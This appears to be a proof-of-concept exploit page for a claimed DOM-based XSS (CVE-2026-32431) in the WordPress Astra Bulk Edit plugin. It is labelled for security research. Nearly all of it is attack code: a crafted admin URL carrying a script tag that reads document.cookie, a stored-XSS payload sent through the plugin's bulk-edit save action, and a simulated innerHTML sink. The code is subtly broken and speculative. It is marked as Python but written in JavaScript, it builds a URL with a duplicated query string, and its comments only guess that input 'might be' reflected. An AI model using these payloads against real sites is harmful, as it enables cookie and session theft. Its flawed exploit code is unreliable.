PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-32431 PoC - DOM-Based XSS in Astra Bulk Edit
// Target: WordPress Astra Bulk Edit Plugin <= 1.2.10

// Attack URL construction
const attackVector = '<script>alert(document.cookie)</script>';
const targetUrl = window.location.origin + '/wp-admin/admin.php?page=astra-bulk-edit';

// Method 1: URL-based attack vector
// The vulnerable parameter might be reflected in JavaScript without sanitization
const maliciousUrl = targetUrl + '?search=' + encodeURIComponent(attackVector);

// Method 2: Stored XSS via plugin's bulk edit functionality
// If the plugin stores user input without proper sanitization
const payload = {
    action: 'astra_bulk_edit_save',
    data: {
        ids: [1, 2, 3],
        content: '<img src=x onerror=alert(document.domain)>'
    }
};

// Method 3: DOM manipulation exploit
// Demonstrates how attacker-controlled data flows into innerHTML/textContent
const domExploit = `
    <div id='astra-result'></div>
    <script>
        // Simulating vulnerable code pattern
        const params = new URLSearchParams(window.location.search);
        const userInput = params.get('filter');
        document.getElementById('astra-result').innerHTML = userInput;
    </script>
`;

// Export for testing
module.exports = { maliciousUrl, payload, domExploit };
